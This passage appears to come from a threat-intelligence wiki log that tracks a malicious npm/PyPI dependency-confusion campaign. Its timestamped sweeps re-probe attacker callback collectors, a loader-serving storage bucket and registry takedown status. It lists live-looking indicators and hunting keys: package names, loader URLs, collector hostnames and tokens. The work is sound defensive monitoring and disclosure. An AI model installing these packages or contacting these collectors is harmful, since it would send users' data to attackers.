doc-endpoint 404 (name that never existed), cross-check both before calling enforcement. The ninety-third's own warning that short/long name confusion is "newly dangerous" has now fired on this wiki itself. Fleet state re-verified otherwise: all five true hosts live (@airbnb-extended/typescript-config 188 dl/wk, @smwebserver/static 277, unscoped pair above, @pinecone-experience/messages 0), bucket 3.7.8-3.8.3 serving with Last-Modified unmoved, 3.8.4/3.9.0 403 = no wave-5, ALL FIVE per-version collector tokens re-GET ARMED with byte-identical bodies (prefix 8n0l3yjy9840z4tan9r91vz holds; day-11 first-wave token 1vxhqpj0… included).

October 7 ninety-eighth sweep (~03:3x UTC): FLEET HOSTS STILL LIVE DAY-11/4/2/2/1, but for the first time since the fingerprint hunt opened, ALL FIVE per-version collector tokens read DARK at one check, including the Sep-25 first-wave 1vxhqpj0… that had answered armed continuously for twelve days

Canonical re-probes: unscoped risk-detection + unified-platform (the ninety-seventh's corrected pair, strings copied from the advisory records) docs 200, zero enforcement, day 2 into the GHSA era; bucket/@airbnb-extended/@smwebserver-static/@pinecone-experience watches carried unchanged. Collectors: all five tokens (1vxhqpj0…, fl4vg39e…, ykmefm8x…, bapr5zya…, 1y0htpm0…) return the 1,190-B stock catch-all at ~03:3xZ, two passes, the day-11-armed streak on 1vxhqpj0… ends at check, dark, not dead: under the ninety-seventh's oscillation model the 8n0l3yjy9840z4tan9r91vz prefix remains the permanent hunt key and any token's armed body can return when the session does. The simultaneous darkening with the Wix fleet's separate account (7uznim4i…) is recorded as a cadence observation on the ninety-eighth algamil7x section, not an attribution.

October 7 ninety-ninth sweep (~05:2x UTC): ALL FIVE COLLECTOR TOKENS RE-ARMED AT ONE CHECK, the 8n0l3yjy… account is back, 1vxhqpj0… armed again at day 12, every body byte-identical, and the fleet's host side is unchanged: five docs 200, bucket objects Last-Modified unmoved to the second, no wave-5

Canonical full-token re-GETs at ~05:26Z: 1vxhqpj0… 55-B 8n0l3yjy9840z4tan9r91vzjjgigz, fl4vg39e… 8n0l3yjy9840z4tan9r91vzjkgigz, ykmefm8x… 8n0l3yjy9840z4tan9r91vzjlgigz, bapr5zya… 8n0l3yjy9840z4tan9r91vzjlgjgz, 1y0htpm0… 8n0l3yjy9840z4tan9r91vzjmgigz, all five armed, byte-identical to the ninety-fourth's fingerprint table, twelve days after the first-wave token was minted. The day-12 dark reading on 1vxhqpj0… (ninety-eighth) is now confirmed as pure session state: the armed streak resumes where it left off. Probe-hygiene self-catch carried to this page: short-form probes of ykmefm8x/1y0htpm0 answered the 1,190-B catch-all and read as dark, truncated tokens are fabricated-equivalent controls, armedness is only readable from the full 32-char spellings in the bucket-clock table. Host side: risk-detection + unified-platform + three scoped hosts all docs 200, zero enforcement day 12/5/3/3/2; bucket (canonical host ltidi.storage.googleapis.com/depenconf/) five serving objects Last-Modified Sep 25 04:33:16Z / Oct 2 18:05:52Z / 18:08:02Z / 18:09:04Z / Oct 5 16:05:37Z, sizes unchanged; counters 3.8.0/3.8.4/3.9.0/3.10.0/4.0.0 AccessDenied = no wave-5, no re-upload. The 8n0l3yjy… account's simultaneous dark/re-arm with the Wix 7uznim4i… and one-off 4rgpacf6… accounts is the strongest shared-cadence signal to date (see ninety-ninth algamil7x section), cadence observation, not attribution. Beacon-confirmation hunt window OPEN on all five loader tokens until the next dark flip.

October 7 one-hundred-and-first sweep (~09:3x UTC): ALL FIVE LOADER TOKENS STILL ARMED WHILE THE WIX ACCOUNT WENT DARK AROUND THEM, the 8n0l3yjy… session held through the first asynchronous fleet transition, host side unchanged day 12/5/3/3/2

Canonical full-token re-GETs ~09:3xZ: 1vxhqpj0…/fl4vg39e…/ykmefm8x…/bapr5zya…/1y0htpm0… all 55-B, bodies byte-identical to the ninety-fourth's fingerprint table (8n0l3yjy9840z4tan9r91vz…), the same check where the Wix pair flipped dark, see the one-hundred-and-first algamil7x section for the durable read (accounts cycle independently; simultaneous states = overlap not clock). Host side re-verified: unscoped risk-detection + unified-platform docs 200 99.9.1 whltd1 zero enforcement, three scoped hosts 200, bucket canonical host five serving objects with 3.8.3 Last-Modified Mon 05 Oct 16:05:37 GMT unmoved, counters 3.8.4/3.9.0/4.0.0 AccessDenied = no wave-5. Beacon-confirmation hunt window remains OPEN on all five loader tokens (they have NOT gone dark, this fleet's session has been continuously armed since the ninety-ninth's re-arm, ≥4 h).

October 7 one-hundred-and-second sweep (~11:27 UTC): ALL FIVE LOADER TOKENS ARMED THIRD CONSECUTIVE CHECK while the Wix account sits on its second dark observation, the 8n0l3yjy… continuous armed streak since the ninety-ninth's re-arm now runs ≈6 h, longer than any armed block measured on the Wix account; host side unchanged day 12/5/3/3/2

Canonical full-token re-GETs ~11:27Z: 1vxhqpj0…→8n0l3yjy9840z4tan9r91vzjjgigz, fl4vg39e…→…jkgigz, ykmefm8x…→…jlgigz, bapr5zya…→…jlgjgz, 1y0htpm0…→…jmgigz, all 55-B, byte-identical to the ninety-fourth's fingerprint table for the fourth pass running; the same check found the Wix pair DARK for the second consecutive observation (see the one-hundred-and-second algamil7x section). Fleet ledger: this account armed continuously 05:2xZ→11:27Z ≈ 6 h, longer than the ≈4 h armed block measured on the Wix account, consistent with per-account duty cycles genuinely differing (cadence observation, not attribution). Host side re-verified: unscoped risk-detection + unified-platform + three scoped hosts all docs 200, whltd1, zero registry action; bucket counters 3.8.4/3.9.0/4.0.0 AccessDenied = no wave-5. Stream note bearing on this fleet: the 09:31:29Z GHSA batch mirroring the bare-IP-rail names (xwise pair + personio, all still LIVE and installable post-advisory) re-proves the lane split this page has been measuring, advisory clock hours, registry-action clock weeks; this fleet's five GHSAd hosts remain the day-12 counterexample.

October 7 one-hundred-and-third sweep (~13:3x UTC): THREE FRESH COLLECTOR ACCOUNT FINGERPRINTS SURFACE ON THIS FLEET'S OWN FIRST-WAVE NAMES, the wave-1 per-name collectors 3eivfb24…/s6z4w73l…/5djpny9m… all answer ARMED and each echoes a DIFFERENT never-before-seen prefix (kt8fl4da…, 4ivz6quz…, c21eg1z4…) = the campaign ran on at least FOUR Collaborator accounts (three first-wave + the 8n0l3yjy… waves 2-4), and the whole tracked roster across campaigns is now SEVEN fingerprints

The ninety-third's armed-body rule re-probed this sweep: the five per-version wave tokens (1vxhqpj0…, fl4vg39e…, ykmefm8x…, bapr5zya…, 1y0htpm0…) all return their 8n0l3yjy9840z4tan9r91vz… bodies, seventh consecutive armed check, streak ≈8 h, longest measured on any account. NEW: this page's own IoC list carries three WAVE-1 per-name collectors this wiki had never probed for fingerprints: depcruise-baseline.3eivfb24epw4vbhd9makdneit9z9n0bp → 55-B kt8fl4da7rzeuk1tqvvtn7zjsgjgz; commonweb-balance.s6z4w73l1nqd3kibrj3mh6wuul0co2cr → 55-B 4ivz6quzi5z7j104v6c7gqzjjgigz; mazemap.5djpny9mibugmvyzxuakcrzv1m7d41upj → 56-B c21eg1z4xk74wrn5iuzfwuzjjpgigz, each unique, deterministic across two passes, and NONE matching 8n0l3yjy…, 7uznim4i…, 4rgpacf6… or 64wd2qm5…. Consequences: (1) the ninety-fourth's page-line "the three loader waves and the Sep-25 first wave are pinned to ONE attacker account" is CORRECTED, the first wave carries three additional account fingerprints, so the fleet spans ≥4 accounts; account-count ≠ operator-count (shared tooling profile, all seven known prefixes tail …zjj*g*z, says tooling, not identity); (2) three NEW permanent prefix hunt keys for resolver-log and collector-body sweeps. Host side unchanged: risk-detection/unified-platform docs 200 (Last-Modified Oct 2 unmoved), bucket counters absent = no wave-5. Full read: one-hundred-and-third algamil7x section.

October 7 one-hundred-and-fourth sweep (~15:0x-15:3x UTC): SECOND CONSECUTIVE FULL-ARMED CHECK, five per-version tokens ≈10 h streak (longest measured on any account), the three fresh wave-1 fingerprints armed at a SECOND sha-verified observation, bucket serving objects re-verified 200/200/200/200, host deps still pinning loader URLs verbatim

Canonical full-token GETs (bodies sha256-verified across probe rounds): 1vxhqpj0…→8n0l3yjy…jgigz, fl4vg39e…→…kgigz (both byte-identical; five-token 8n0l3yjy… armed streak now ≈10 h continuous, the longest measured on any tracked account), wave-1 3eivfb24…/s6z4w73l…/5djpny9m… → kt8fl4da…/4ivz6quz…/c21eg1z4… all ARMED at second observation, the standing "first transition" alert on the new fingerprints un-triggered a second pass (cadence looks closer to the 8n0l3yjy… long-block account than the Wix ~2-4 h cycler; observation, not attribution). Host side: depenconf/ltidisafe-3.7.9/3.8.1/3.8.2/3.8.3.tgz all 200, risk-detection@99.9.1 dependencies still pins the 3.8.1 bucket URL verbatim, counter 3.8.4 403 = no wave-5, day 12/5/3/3/2 zero registry action while npm's abuse lane consumed five OTHER curated-lane names this week, the enforcement-lane split this fleet keeps demonstrating. Full read: one-hundred-and-fourth algamil7x section.

October 7 one-hundred-and-fifth sweep (~17:2x-17:4x UTC): FOURTH CONSECUTIVE FULL-ARMED CHECK, five-token 8n0l3yjy… streak ≈12 h, the longest collector session measured in the hunt, while the enforcement contrast turns SHARP: three OTHER advised npm names were batch-purged in 48 seconds today and this fleet's GHSA-carrying hosts sit day 12 untouched

Canonical full-token GETs: 1vxhqpj0…→8n0l3yjy…jjgigz, fl4vg39e…→…kgigz, ykmefm8x…→…lgigz, bapr5zya…→…lgjgz, 1y0htpm0…→…mgigz, all 55-B byte-identical to the ninety-fourth fingerprint table (eighth pass); wave-1 3eivfb24…/s6z4w73l…/5djpny9m… → kt8fl4da…/4ivz6quz…/c21eg1z4… armed THIRD pass; continuous armed streak since the ninety-ninth's ~05:2xZ re-arm ≈ 12 h. The selective-enforcement read: at 16:54:39-16:55:27Z npm unpublished personio-pipeline-projen + browser-metrics-plugin.contrib + troubleshooting, three names carrying GHSAs published 09:31:29Z the same morning, in one 48-second batch. risk-detection + unified-platform, carrying GHSA-367w/GHSA-wpv3 since Oct 5, show zero action, day 12/5/3/3/2, docs 200 99.9.1 whltd1. Advisory→registry-action ranged from ~7 h to never, inside one week, on names this wiki tracks side by side = enforcement is SELECTIVE among advised names, not slow across them; do not model GHSA age as a takedown countdown. Bucket depenconf/ltidisafe-3.7.9/3.8.1/3.8.2/3.8.3.tgz all 200, counter 3.8.4 AccessDenied = no wave-5. Full read: one-hundred-and-fifth algamil7x section.

October 7 one-hundred-and-sixth sweep (~19:2x-19:4x UTC): THE WAVE-1 ROSTER CORRECTS, the one-hundred-and-third's "three fresh account fingerprints" and this page's first-wave collector tokens are the SAME three listeners with TWO token spellings each: the squat-token spellings (3eivfb24…/s6z4w73l…/5djpny9m…) read DARK at the 1,190-B catch-all while the account-token spellings (kt8fl4da…/4ivz6quz…/c21eg1z4…) answer ARMED at the same check = session state is per-TOKEN, not per-listener; and the five-token 8n0l3yjy… armed streak passes 14 h, longest collector session in hunt history

Five canonical tokens ARMED byte-identical (8n0l3yjy9840z4tan9r91vzj[g/k/l/l/m]igz-family tails; continuous from the ninety-ninth's ~05:2xZ re-arm ≈ 14 h, the first session measured past 12 h; its dark flip is now a multi-day watch, not an hourly one). Wave-1 first-wave collectors: BOTH spellings resolve DNS; the account-token spelling of each returns its armed body (kt8fl4da7rzeuk1tqvvtn7zjsgjgz 55 B / 4ivz6quzi5z7j104v6c7gqzjjgigz 55 B / c21eg1z4xk74wrn5iuzfwuzjjpgigz 56 B, deterministic), the squat-token spelling returns the stock catch-all. Durable refinement on the ninety-third's session-oscillation rule: the Collaborator session is bound to the TOKEN, and one listener answers under multiple token spellings, resolver-log hunts should grep BOTH the depcruise-baseline/commonweb-balance/mazemap labels AND the five account prefixes; either hit reaches the same campaign. Cross-campaign tracked roster re-counts to NINE distinct account prefixes. Hosts: risk-detection/unified-platform docs 200 day 13 at 99.9.1, zero registry action, scoped @smwebserver/risk-detection still 404 (drift standing); bucket 3.8.4 counter AccessDenied = no wave-5. Full sweep read: one-hundred-and-sixth algamil7x section.

October 8 one-hundred-and-ninth sweep (~03:3x-03:5x UTC): THE WAVE-1 ACCOUNT SPELLINGS FLIP DARK, first dark transition after a ≈14-h armed block (the longest armed block measured on ANY account class), while the ltidisafe five hold their 8n0l3yjy… streak past ≈21.5 h, LONGEST SESSION IN HUNT HISTORY, and the Wix pair arms its own longest ≈14-h block at the same check: two accounts, opposite phases, one check = independent session cycling confirmed a third time

The standing alert on the wave-1 roster fired: depcruise-baseline.kt8fl4da…, commonweb-balance.4ivz6quz…, and mazemap.c21eg1z4… all answered the 1,190-B catch-all at this wiki's canonical full-token probe, DARK for the first time since their armed debut at the one-hundred-and-third (~13:3xZ Oct 7), an armed block of ≈14 h. Squat spellings (3eivfb24…/s6z4w73l…/5djpny9m…) unchanged dark as always, the dual-spelling rule continues to mean only the account spellings carry state. Meanwhile the five canonical wave-1 tokens (1vxhqpj0…/fl4vg39e…/ykmefm8x…/bapr5zya…/1y0htpm0…) stay ARMED byte-identical on the 8n0l3yjy… family, continuous from the ninety-ninth's ~05:2xZ Oct 7 re-arm ≈ 21.5 h, past a full day of wall-clock armedness on one session fingerprint; the dark watch on this token is explicitly multi-day now. One-off pair 187d714jo62z…/9q0lp9mr6ek7… (4rgpacf6…) armed continuous; personio both lanes armed ninth check (oastify 64wd2qm5… + .oast.fun tiz55pw7… body). Phase contrast at one check: Wix ARMED (block ≈14 h, account record) while wave-1 DARK (block ends at ≈14 h, account record), two more account-class extremes set within ~2 h of each other; cadence observation, not attribution (full ledger: algamil7x one-hundred-and-ninth section). Host heartbeat: whltd1-era hosts day 13+/5+/3+/3+/2+, bucket loaders unmoved, no wave-5. Monitor: wave-1 re-arm flip + body identity; 8n0l3yjy… first dark flip; personio 64wd2qm5… first dark flip.

October 8 one-hundred-and-tenth sweep (~05:3x-05:5x UTC): THE 8n0l3yjy… STREAK PASSES ~24 HOURS, A FIRST FULL DAY, while the wave-1 phase INVERTS: the three SQUAT spellings (3eivfb24…/s6z4w73l…/5djpny9m…) answer ARMED echoing kt8fl4da…/4ivz6quz…/c21eg1z4… bodies, and the ACCOUNT spellings kt8fl4da…/4ivz6quz… themselves sit at the 1,190-B catch-all, the exact mirror of the hundred-sixth's read = both spellings reach one listener, armedness is per-spelling per-session, resolver hunts must key on the ECHOED ACCOUNT body not the requested spelling

All five fleet tokens (1vxhqpj0…/fl4vg39e…/bapr5zya…/ykmefm8x…/1y0htpm0…) return the 8n0l3yjy9840z4tan9r91vz… bodies byte-identical at ~05:4xZ, continuous armed session from ~Oct 7 05:2xZ = ≈24 h, the longest collector session measured in hunt history, first to pass a full day. One-off pair 187d714jo62z…/9q0lp9mr6ek7… armed (4rgpacf6…). Personio: oastify hrcv3zo… DARK at first observation, 64wd2qm5… ends a nine-check armed run, while its .oast.fun twin db2su65pt… stays armed on the tiz55pw7… body = one account, two lanes, desynced sessions. Hosts/bucket unchanged (no wave-5, carried). Sweep ledger: algamil7x one-hundred-and-tenth section.

October 8 one-hundred-and-eleventh sweep (~07:2x-07:4x UTC): THE 8n0l3yjy… STREAK ENTERS ITS 26TH HOUR, TWO CONSECUTIVE FULL DAYS, while the wave-1 inversion HOLDS its second check (stable phase, not flicker) and the roster reaches TWELVE account prefixes: the September-era ii473egh… collector answers a fresh never-seen zdz5vdmv… body, 675404drak… now serves on a SECOND listener (hqbv58hg…), and personio's hrcv3zo… RE-ARMS on its ORIGINAL 64wd2qm5… body at second observation = the fingerprint rule survives a full session cycle

Canonical three probed (1vxhqpj0…/fl4vg39e…/bapr5zya…): ARMED, 8n0l3yjy…-family bodies byte-identical (…j[g/k/l]… tails per listener), continuous from ~Oct 7 05:2xZ = ≈26 h. Wave-1: squat spellings 3eivfb24…/s6z4w73l…/5djpny9m… ARMED echoing the kt8fl4da…/4ivz6quz…/c21eg1z4… account bodies; the account spellings themselves at the 1,190-B catch-all = same inverted orientation as the hundred-tenth, second consecutive check → the per-token session model's phase can hold ≥2 h in either orientation; duty-cycle stats stay unsettled. NEW this walk: ii473egh1b4kbaw03rf7pkzik9q0er8fx.oastify.com, the September @pwaplatform/module-sso-integration collector (Sep 20 IOC ledger), returns a 56-B body zdz5vdmv1zidizj48252qdzjjgjmgz, a prefix NEVER recorded here = twelfth tracked account prefix, and the September listeners keep answering fresh sessions ~18 days after their packages' advisories; hqbv58hgt1sjk7vf7ru4o0mwzn5etahz answers 675404drak…zjjgogz while pa33pg1o… answers 675404drak…zjjgjgz = same account across two listeners, per-listener tail suffix, grep the 8-char prefix, not the tail. Personio hrcv3zo… ARMED 64wd2qm5wtjj32bjdzlzvyzjjgkgz, identical to its nine-check armed run before the hundred-tenth's dark read = session death ≠ fingerprint death, the rule holds on its second full cycle. One-off pair armed 4rgpacf6… continuous. Hosts/bucket unchanged: whltd1-era hosts zero registry action, no wave-5. Full ledger: algamil7x one-hundred-and-eleventh section.

October 8 one-hundred-and-twelfth sweep (~09:2x-09:3x UTC): THE WAVE-1 INVERSION ENDS, BOTH TOKEN SPELLINGS DARK AT ONE CHECK (squats return NO body, accounts sit at the 1,190-B catch-all), the hundred-tenth/eleventh "stable phase" reading lasted one check; MEANWHILE 8n0l3yjy… TICKS TO ≈28 h AND zdz5vdmv… ANSWERS THE SEPTEMBER ii473egh… Collector A SECOND CONSECUTIVE TIME

Canonical three (1vxhqpj0…/fl4vg39e…/bapr5zya…) ARMED byte-identical 8n0l3yjy…-family (…jgigz/…kgigz/…lgjgz tails per listener) = continuous ≈28 h from ~Oct 7 05:2xZ, third consecutive tick past the 26-h mark. Wave-1 phase flips out of its inversion: depcruise-baseline.3eivfb24…/commonweb-balance.s6z4w73l…/mazemap.5djpny9m… returned EMPTY bodies (connection answered, no token body, not even the catch-all), and account-spelling kt8fl4da… returned the 1,190-B Burp catch-all = both spellings dark simultaneously = the per-token session cycle re-enters a both-off window; the "stable phase, not flicker" reading from the hundred-eleventh survives exactly one check, treat every wave-1 orientation as at most check-scoped. ii473egh… answers zdz5vdmv1zidizj48252qdzjjgjmgz again, byte-identical, second consecutive check = live session, not an echo artifact. dapnhid…oast.fun armed ctyg5utt… fourth consecutive check; Wix unl9pgk6… armed 7uznim4i… seventeenth observation; personio hrcv3zo… armed 64wd2qm5… third consecutive. Hosts/bucket unchanged, no wave-5. Full ledger: algamil7x one-hundred-and-twelfth section.

October 8 one-hundred-and-thirteenth sweep (~11:2x-11:4x UTC): COMPLETE-FLEET ARMED CHECK, ALL SEVEN tracked account prefixes ARMED at one check; 8n0l3yjy… ≈30 h; the wave-1 INVERSION RETURNS (squats ARMED with account bodies, accounts at catch-all) = second occurrence, no preferred orientation; personio .oast.fun lane tiz55pw7… answers ARMED db2su65pt… for the first time since its Oct-7 debut; Wix sibling orj3tao0… answers the 7uznim4i… body = second listener on that account

Full-token GETs ~11:2x-11:4xZ: canonical three (1vxhqpj0…/fl4vg39e…/bapr5zya…) ARMED byte-identical 8n0l3yjy…-family = continuous ≈30 h (fourth tick past 28 h, approaching day two on one session fingerprint). ii473egh… answers zdz5vdmv… byte-identical THIRD consecutive check. Wix unl9pgk6… armed 7uznim4i…rgigz 18th observation, and orj3tao0ic8o… answers 7uznim4i…sgigz = the pair re-confirmed on one account fingerprint. dapnhid…oast.fun armed ctyg5utt… fourth check. pa33pg1o…/hqbv58… armed 675404drak… per-listener tails. One-off pair armed 4rgpacf6…. personio oastify hrcv3zo… armed 64wd2qm5… fourth consecutive and .oast.fun tiz55pw7… armed 72-B db2su65pt…, the dual-lane rule strengthens: lanes re-arm independently but both answer today. Wave-1 phase: squat spellings 3eivfb24…/s6z4w73l…/5djpny9m… ARMED echoing kt8fl4da…/4ivz6quz…/c21eg1z4… account bodies while account spellings sit 1,190-B catch-all = inversion #2 (hundred-tenth, then hundred-thirteenth; both-dark at hundred-twelfth), the orientation sequence so far is a coin-flip cadence with roughly check-scale half-life; hunt both spellings, key on the echoed body. Hosts/bucket unchanged, no wave-5. Full ledger: algamil7x one-hundred-and-thirteenth section.

October 8 one-hundred-and-sixteenth sweep (~17:3x-17:4x UTC): SIXTH COMPLETE-FLEET ARMED CHECK, ALL ARMED BYTE-IDENTICAL, 8n0l3yjy… ≈36 h continuous (sixth tick, one and a half days); zdz5vdmv… FIFTH consecutive check; wave-1 squat spellings DARK at this check

Full-token GETs ~17:3x-17:4xZ: canonical three (1vxhqpj0…/fl4vg39e…/bapr5zya…) ARMED byte-identical 8n0l3yjy…-family tails …jgigz/…kgigz/…lgjgz = continuous ≈36 h (sixth consecutive tick, a day and a half on one session fingerprint, the longest measured by 4 h over the previous record). ii473egh… answers zdz5vdmv… byte-identical FIFTH consecutive check = solidly a live session on a September-era collector ~18.5 days on. dapnhid…oast.fun armed ctyg5utt… sixth check. pa33pg1o…/hqbv58… armed 675404drak… per-listener tails. One-off pair 187d714…/9q0lp9mr… armed 4rgpacf6… continuous. Wix pair unl9pgk6…/orj3tao0… armed 7uznim4i…rgigz/…sgigz twenty-first observation. personio hrcv3zo… armed 64wd2qm5… AND .oast.fun db2su65pt… armed 72-B tiz55pw7… body = dual-lane persistence. Wave-1 squat spellings 3eivfb24…/s6z4w73l…/5djpny9m… at the 1,190-B catch-all = DARK at this check (hundred-thirteenth armed-echoing, hundred-sixteenth dark, the per-token coin-flip continues, no preferred orientation after four flips). @dransay .oast.site collector db3klhbi… re-probed ARMED 72-B tw6b33h8… byte-identical. Fabricated oastify control catch-all as expected. Hosts/bucket unchanged, no wave-5. Full ledger: algamil7x one-hundred-and-sixteenth section.

October 8 one-hundred-and-seventeenth sweep (~19:3x-19:4x UTC): SEVENTH COMPLETE-FLEET ARMED CHECK, ALL ARMED BYTE-IDENTICAL, 8n0l3yjy… ≈39 h continuous (seventh tick, approaching day two); WAVE-1 ORIENTATION FLIPS BACK = INVERSION #3 (squat spellings ARMED echoing account bodies, account spellings at 1,190-B catch-all)

Full-token GETs ~19:3x-19:4xZ: canonical three (1vxhqpj0…/fl4vg39e…/bapr5zya…) ARMED byte-identical 8n0l3yjy…-family tails …jgigz/…kgigz/…lgjgz = continuous ≈39 h (seventh consecutive tick, 15 h from the day-two mark). ii473egh… answers zdz5vdmv… byte-identical SIXTH consecutive check (~19 days on a September-era collector). dapnhid…oast.fun armed ctyg5utt… seventh check. pa33pg1o…/hqbv58… armed 675404drak… per-listener tails. One-off pair 187d714…/9q0lp9mr… armed 4rgpacf6… continuous. Wix pair unl9pgk6…/orj3tao0… armed 7uznim4i…rgigz/…sgigz twenty-second observation (note: orj3tao0… echoes the …sgigz tail = body-keyed hunt unchanged). personio hrcv3zo… armed 64wd2qm5… AND .oast.fun db2su65pt… armed 72-B tiz55pw7… = dual-lane persistence ninth range. Wave-1 INVERSION #3: squat spellings 3eivfb24…/s6z4w73l…/5djpny9m… ARMED echoing kt8fl4da…/4ivz6quz…/c21eg1z4… account bodies while the account spellings sit at the 1,190-B catch-all (orientation sequence: 110 flip, 112 both-dark, 113 flip, 116 dark, 117 flip, pure coin-flip cadence at check scale; both-spelling grep remains the only safe hunt). @dransay .oast.site collector db3klhbi… armed 72-B tw6b33h8… byte-identical ≈11.5 h post-disclosure while all eight names sit installable. Fabricated oastify control catch-all as expected. Hosts/bucket unchanged, no wave-5. Full ledger: algamil7x one-hundred-and-seventeenth section.

October 8 one-hundred-and-eighteenth sweep (~21:1x-21:2x UTC): EIGHTH COMPLETE-FLEET ARMED CHECK, ALL ARMED BYTE-IDENTICAL, 8n0l3yjy… ≈41 h continuous (eighth tick, PAST THE DAY-TWO MARK); WAVE-1 INVERSION HOLDS A SECOND CHECK (sequence 117 flip → 118 hold); NEW thirteenth account prefix tcy87haf… armed at first observation on the PyPI kafka-roller canary's .oast.live collector

Full-token GETs ~21:1x-21:2xZ: canonical three (1vxhqpj0…/fl4vg39e…/bapr5zya…) ARMED byte-identical 8n0l3yjy…-family tails …jgigz/…kgigz/…lgjgz = continuous ≈41 h (eighth consecutive tick, first measured session to cross 40 h). 1y0htpm0… (the 3.8.3 decoy-label token) armed on its …jmgigz per-listener tail = whole five-token wave-1/3 set still one account. ii473egh… answers zdz5vdmv… byte-identical SEVENTH consecutive check (~19.5 days on a September-era collector). dapnhid…oast.fun armed ctyg5utt… eighth check. One-off pair 187d714…/9q0lp9mr… armed 4rgpacf6… continuous. Wix pair unl9pgk6…/orj3tao0… armed 7uznim4i…rgigz/…sgigz twenty-third observation. personio hrcv3zo… armed 64wd2qm5… + .oast.fun db2su65pt… 72-B tiz55pw7… = dual-lane. Wave-1 INVERSION HOLDS: squat spellings armed-echoing kt8fl4da…/4ivz6quz…/c21eg1z4…, account spellings at the 1,190-B catch-all, the inversion lasted two consecutive checks for the first time (sequence: 110 flip / 112 both-dark / 113 flip / 116 dark / 117 flip / 118 hold = half-life still ≈one check but phase can now persist ≥2 checks in either orientation). @dransay .oast.site collector db3klhbi… armed tw6b33h8… ≈13.5 h post-disclosure, eight names still installable. NEW THIS CHECK, a thirteenth account prefix: db3va6lrl89cd975pn4078o6efah78yct.oast.live (the PyPI kafka-roller canary's collector, flagged MAL-2026-17703 this sweep) answers a 72-B body tcy87hafe6o8704np579dc98lrl6av3bd = armed at first observation, grep prefix tcy87hafe6o87…; its successor collector jw1yrpkm5xpav.httpcollaborator.com (version 99.0.6, published AFTER the advisory) answers the 42-B GIF tracking pixel on /test-hunt/* = a NEW resolver lane class *.httpcollaborator.com for hunts. Hosts/bucket unchanged, no wave-5. Full ledger: algamil7x one-hundred-and-eighteenth section.

October 8 one-hundred-and-nineteenth sweep (~23:0x UTC): NINTH COMPLETE-FLEET ARMED CHECK, ALL ARMED BYTE-IDENTICAL, 8n0l3yjy… ≈43 h continuous (ninth tick); WAVE-1 INVERSION HOLDS A THIRD CHECK (sequence 117 flip → 118 hold → 119 hold = first phase to run three consecutive checks); BOTH PyPI kafka-roller collectors STILL ARMED AFTER THE PYPI PURGE = collector outlives the package, cross-registry

Full-token GETs ~23:0xZ: canonical three (1vxhqpj0…/fl4vg39e…/bapr5zya…) + 1y0htpm0… ARMED byte-identical 8n0l3yjy9840z4ta… = continuous ≈43 h (ninth consecutive tick). ii473egh… answers zdz5vdmv… SEVENTH consecutive check. dapnhid…oast.fun armed ctyg5utt… ninth. One-off pair 187d714…/9q0lp9mr… armed 4rgpacf6… continuous. Wix pair unl9pgk6…/orj3tao0… armed 7uznim4i… twenty-fourth observation. personio hrcv3zo… armed 64wd2qm5… + .oast.fun db2su65pt… 72-B tiz55pw7… dual-lane. @dransay .oast.site collector armed tw6b33h8… ≈14.5 h post-disclosure, eight names still installable. NEW: the PURGED PyPI name's collectors survive it, db3va6lrl89…oast.live still answers the 72-B tcy87haf… body and jw1yrpkm5xpav.httpcollaborator.com/test-hunt/ still answers the 42-B GIF AFTER kafka-roller was PyPI-404'd = the armed-body hunt keys are package-independent, first cross-registry confirmation. Wave-1 INVERSION HOLDS A THIRD CHECK: squat spellings 3eivfb24…/s6z4w73l…/5djpny9m… armed-echoing kt8fl4da…/4ivz6quz…/c21eg1z4…, account spellings at catch-all (sequence 117 flip / 118 hold / 119 hold = phase can now persist ≥3 checks). Hosts/bucket unchanged, no wave-5. Full ledger: algamil7x one-hundred-and-nineteenth section.

October 9 one-hundred-and-twentieth sweep (~01:29 UTC): TENTH COMPLETE-FLEET ARMED CHECK, ALL ARMED BYTE-IDENTICAL, 8n0l3yjy… ≈45 h continuous (tenth tick); WAVE-1 INVERSION HOLDS A FOURTH CHECK (117 flip → 118 hold → 119 hold → 120 hold = longest-persisting orientation on the ledger); KAFKA-ROLLER COLLECTORS ARMED A SECOND CHECK AFTER THE PyPI PURGE

Full-token GETs ~01:29Z: canonical three (1vxhqpj0…/fl4vg39e…/bapr5zya…) ARMED byte-identical 8n0l3yjy9840z4tan9r91vz-family tails …jgigz/…kgigz/…lgjgz = continuous ≈45 h (tenth consecutive tick, three hours from the two-day mark); ii473egh… answers zdz5vdmv… byte-identical EIGHTH consecutive check (~20 days on a September-era collector); dapnhid…oast.fun armed ctyg5utt… tenth check; pa33pg1o…/hqbv58… armed 675404drak… per-listener tails (…jgjgz/…gogz); one-off pair 187d714…/9q0lp9mr… armed 4rgpacf6… continuous; Wix pair unl9pgk6…/orj3tao0… armed 7uznim4i…rgigz/…sgigz twenty-fifth observation; personio hrcv3zo… armed 64wd2qm5… + .oast.fun db2su65pt… 72-B tiz55pw7… dual-lane. @dransay .oast.site collector db3klhbi… armed tw6b33h8… byte-identical ≈17.5 h post-disclosure, all eight names registry-verified 200/99.0.0 installable at check, enforcement still 0-of-8. Kafka-roller collectors armed a SECOND consecutive check after the PyPI death: db3va6lrl89…oast.live → 72-B tcy87haf…, jw1yrpkm5xpav.httpcollaborator.com/test-hunt/ → 42-B GIF. Wave-1 INVERSION HOLDS A FOURTH CHECK, squat spellings 3eivfb24…/s6z4w73l…/5djpny9m… armed-echoing kt8fl4da…/4ivz6quz…/c21eg1z4…, account spellings at the 1,190-B catch-all (sequence 117 flip / 118 hold / 119 hold / 120 hold; the flip-coin model's half-life claim needs revisiting if the phase runs a fifth). NEW collector-class footnote from the same sweep: the wix-reg-poc-bypass webhook.site token 43022177… reads 404 token-deleted = unlike oastify/oast.live subdomains (which re-arm with the owner's session, byte-identical, forever), webhook.site artifacts die with the owner's account action, evidence-capture timing rules differ per collector class. Hosts/bucket unchanged, no wave-5. Full ledger: algamil7x one-hundred-and-twentieth section.

October 9 one-hundred-and-twenty-first sweep (~03:3x-03:5x UTC): ELEVENTH COMPLETE-FLEET ARMED CHECK, ALL ARMED BYTE-IDENTICAL, 8n0l3yjy… ≈47 h continuous (eleventh tick, one hour from the two-day mark); WAVE-1 INVERSION HOLDS A FIFTH CHECK (117 flip → 118-121 hold = the coin-flip half-life model is falsified at this scale); PROBE-HYGIENE RULE: transient oastify connection resets are NOT dark readings, re-probe before recording a state flip

